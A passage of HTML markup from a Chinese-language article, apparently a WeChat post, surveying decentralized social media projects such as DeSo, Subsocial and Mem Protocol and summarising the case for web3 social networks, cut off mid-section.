84);font-size: 14px;">团队支持的基于网络的社交信息流产品。其功能包括 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">DeSo </span><span style="color: rgb(84, 84, 84);font-size: 14px;">的所有货币化方面，使用户能够在网站上发布除图像和视频之外的短格式和长格式内容。</span></span><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">DeSocialWorld</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;">——</span><span style="color: rgb(84, 84, 84);font-size: 14px;">旨在迎合全球受众的多语言社交提要。它还展示了 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">DeSo </span><span style="color: rgb(84, 84, 84);font-size: 14px;">的大部分功能，包括内容和货币化。</span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">Subsocial</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>是建立在波卡和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">IPFS </span>上的去中心化社交网络协议。今年初，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>成功赢得了 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Kusama </span>的第 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">16 </span>次插槽 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Auction</span>，成为了 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Kusama </span>平行链。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>协议是一套 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Substrate </span>模块和网站前端，用户可以使用它来创建自己的去中心化抗审查社交网络（空间）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">因此 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>本身并不是像 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Twitter </span>这样的社交媒体，而是用于创建社交媒体的平台，可以有多个不同的社交网络运行在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>上。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web2 </span>社交平台中，用户并不拥有平台。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">而在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>中，空间的创建者可以自己拥有其空间的所有权。每一个空间就像一个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DAO</span>，还可以拥有自己的国库。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">拥有社交 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">token </span>的用户可以决定该空间的发展方向，还可以分享该空间的广告收益。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>将内容审核的权力也交给了每个空间。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>在链层面不进行内容审查和屏蔽，但是每个空间可以指定自己的内容规则，根据自己的需要对内容进行审核。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">社区可以通过选举出审核员，删除某些涉及诈骗和有害信息的内容，或者共同决定怎样屏蔽社区不欢迎的内容。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">目前构建在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>协议上的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">App</span>，有同名的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Subsocial </span>社交网络 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">App</span>、去中心化身份 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">SubID </span>和<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sumi</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sumi </span>是一个基于 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Substrate </span>的钱包至钱包通信系统，有点像 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>版的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Email</span>，也就是说它会更加安全和去中心化。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Sumi </span>允许任意两个区块链数字钱包之间进行通信，最初版本将支持 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Dotsama </span>生态的钱包，并且很快会支持以太坊、比特币和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Solana </span>生态的钱包地址类型。<o:p></o:p></span></section><h4 style="margin: 16px 1em;break-after: avoid;text-align: center;font-family: Arial;font-size: 14pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">Mem Protocol</span></strong><br/></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">根据 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mem Protocol </span>的官网展示的路线图，协议的基础功能分为四个模板：<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">第一个模块是与各个开发商的集成，让用户能使用</span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mem Protocol </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">扩展去中心化社交图谱；</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">第二个模块是一个可视化区块链浏览器，这个浏览器不是用来浏览</span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Hashes </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">而是在 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web 3 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的社交层浏览关注的人。目前这个功能用户可通过官网申请 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Alpha </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">内测资格，当协议开始内测时，符合条件的用户会收到邮件；</span></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">第三个模块是一个问答工具，用户通过提问以及回答问题可以赚取赏金奖励；</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">第四个模块是一个去中心化的朋友圈，用户可在</span> <span style="color: rgb(84, 84, 84);font-size: 14px;">Web 3 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">与朋友建立群组。</span></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5970031545741324" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=0868e0bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7AyPbocm7ACibfvibd76GgOtCNqvwJzCuDIGLDuafOKZLlXbxml6lWj6w%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2021年11 </span>月份完成由 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">a16z </span>领投的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">310 </span>万美元种子轮融资，前 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Coinbase </span>首席技术官 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Balaji Srinivasan</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Polychain </span>的联合创始人 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Olaf Carlson-Wee </span>以及投资者 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Charlie Songhurst</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Jude Gomila</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Charlie Cheever </span>等参与了此轮投资。<o:p></o:p></span></section><h2 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><br mpa-from-tpl="t"/></span></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section style="margin-top: 16px;"><section data-mpa-category="模板" style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;align-self: center;" data-mid="" mpa-from-tpl="t"><section style="width: 42px;height: 34px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-right: -56px;margin-bottom: -3px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.8095238095238095" data-w="84" src="https://wechat2rss.xlab.app/img-proxy/?k=45b08941&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJ1S19pfufUthZicQiaicAt4fibc0XcuffjBNLG5pT6Jfibo1dzsnibwl2VYu7tEBwmxTZx21GmOW4bcW5CibG0ibia6g10A%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 10px;height: 10px;background: #333333;border-right: 1px solid #FDFBFB;border-bottom: 1px solid #FDFBFB;align-self: flex-start;margin-bottom: -10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="text-align: center;background: #333333;padding: 4px 19px 3px 19px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;word-break: break-all;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">四、去中心化社交总结</span></p></section></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">web2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">公司专注于将社交媒体作为单一产品，而</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web3</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">将社交网络的概念扩展到多个层面。基础层是社交图谱：它映射出个人资料、粉丝和他们之间的联系。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">接下来是应用层，用户可以在这里消费内容并与他们的社交图谱互动。参考</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web2</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，把社交图谱视为粉丝，把应用层视为信息流。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">通过区块链，不存在控制社交图谱的单一实体。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">相反，你的社交图谱成为一种资产，而不是公司拥有的产品。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">显然，拥有自己的社交图谱的诱惑力还不足以说服数十亿用户抛弃他们现有的产品。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">鉴于用户对社交媒体的政策和高管越来越不满，还有一个缺口需要填补。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">除了数据所有权，对分散的粉丝、审查制度和闭源算法的抱怨为去中心化社交媒体（</span>DeSoc<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">）提供了抢占市场份额的机会。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">坦率地说，现在是向</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">过渡的最佳时机。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">现有的用户要求更好的体验，而</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">可以作为加密货币采用的催化剂；后者需要受欢迎的产品，可以催化其早期采用阶段。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">去中心化的社交媒体可能为用户在现有的</span>web2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">社交媒体平台上所面临的挑战提供了唯一现实的解决方案。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">但问题依然存在：大规模采用可能实现吗？</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">从表面上看，为了优先考虑用户体验和可扩展性，去中心化的最大化将不得不举白旗，这样</span>DeSoc<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">才能最终看到可持续的产品市场适应性。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">正确的方法似乎是将社交图层和应用层分离，以进一步推动可定制性，并避免</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web2</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">中存在的审核问题。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">最后，通过在区块链上构建社交媒体之外的生态系统（如游戏和金融），以及在设计中利用</span>NFT<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，优先考虑可组合性，可以实现最佳的用户体验，同时提供当今社交媒体设计中所没有的可选性。</span><o:p></o:p></span></section><h2 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br mpa-from-tpl="t"/></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section style="margin-top: 16px;"><section data-mpa-category="模板" style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;align-self: center;" data-mid="" mpa-from-tpl="t"><section style="width: 42px;height: 34px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-right: -56px;margin-bottom: -3px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.8095238095238095" data-w="84" src="https://wechat2rss.xlab.app/img-proxy/?k=45b08941&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJ1S19pfufUthZicQiaicAt4fibc0XcuffjBNLG5pT6Jfibo1dzsnibwl2VYu7tEBwmxTZx21GmOW4bcW5CibG0ibia6g10A%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 10px;height: 10px;background: #333333;border-right: 1px solid #FDFBFB;border-bottom: 1px solid #FDFBFB;align-self: flex-start;margin-bottom: -10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="text-align: center;background: #333333;padding: 4px 19px 3px 19px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;word-break: break-all;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">五、web2衍变web3的实用项目</span></p></section><h2 style="margin: 0px;font-size: 16pt;white-space: normal;break-after: avoid;font-family: Arial;color: rgb(0, 0, 0);line-height: 1.4em;text-align: center;text-indent: 0em;"><span style="color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 2px;text-decoration: none;font-family: Arial, Helvetica, sans-serif;">web2<span style="text-decoration: none;font-size: 16px;letter-spacing: 2px;color: rgb(255, 255, 255);">衍变<span style="text-decoration: none;letter-spacing: 2px;font-size: 16px;color: rgb(255, 255, 255);">web</span></span>3<span style="text-decoration: none;font-size: 16px;letter-spacing: 1px;color: rgb(255, 255, 255);">的实用项目</span></span></h2></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">去中心化社交是目前</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">衍变中最为核心的赛道之一，但除了去中心化社交，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">传统</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">中的其他领域也正在积极向</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">发展过渡。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">互联网从面试以来经历了三个阶段性的衍变，在互联网刚创世时，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">互联网可以称之为</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>1<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.</span>0<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">时代，它是单一的信息提供者，是“只读”的，用户只能从其获取单向的信息。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.</span>0<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">时代是我们正在经历的辉煌时代，用户与互联网存在密切的互动，内容的生产与信息的变更由用户提供并进行互相间的交互。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但不可否认的是</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">时代用户之间的互动依托于中心化平台的。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">而目前互联网正在朝着新的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.</span>0<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">时代靠近，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span>3<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">.</span>0<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的主旨是唯一的，“去中心化”<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web</span></span>2<span style="letter-spacing: 